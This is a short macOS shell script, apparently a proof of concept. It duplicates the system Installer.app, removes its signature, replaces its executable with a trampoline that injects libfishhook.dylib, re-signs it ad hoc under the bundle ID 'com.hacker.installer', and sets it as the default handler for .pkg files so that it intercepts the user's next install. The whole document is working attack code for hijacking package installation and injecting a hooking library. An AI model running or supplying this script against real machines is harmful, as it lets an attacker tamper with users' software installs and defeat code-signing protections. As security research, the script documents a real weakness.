#!/bin/sh

# duplicate the Installer.app from the system
cp -r /System/Library/CoreServices/Installer.app /Applications
# remove its signature
codesign --remove-signature /Applications/Installer.app

# replace the app executable to trampoline.py, which set environment variable to launch the original macho with libfishhook.dylib injected.
mv trampoline /Applications/Installer.app/Contents/MacOS/
mv libfishhook.dylib /tmp
plutil -replace CFBundleExecutable -string 'trampoline' /Applications/Installer.app/Contents/Info.plist

# replace the bundle ID
plutil -replace CFBundleIdentifier -string 'com.hacker.installer' /Applications/Installer.app/Contents/Info.plist

# resign with adhoc
codesign -f -s - /Applications/Installer.app/Contents/MacOS/Installer
codesign -f -s - /Applications/Installer.app

# register the new faked Installer
/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -f /Applications/Installer.app

# now set the pkg file handler to our faked installer 
./swda setHandler --UTI com.apple.installer-package-archive --app /Applications/Installer.app

echo 'all done. waiting for user install his pkg file'


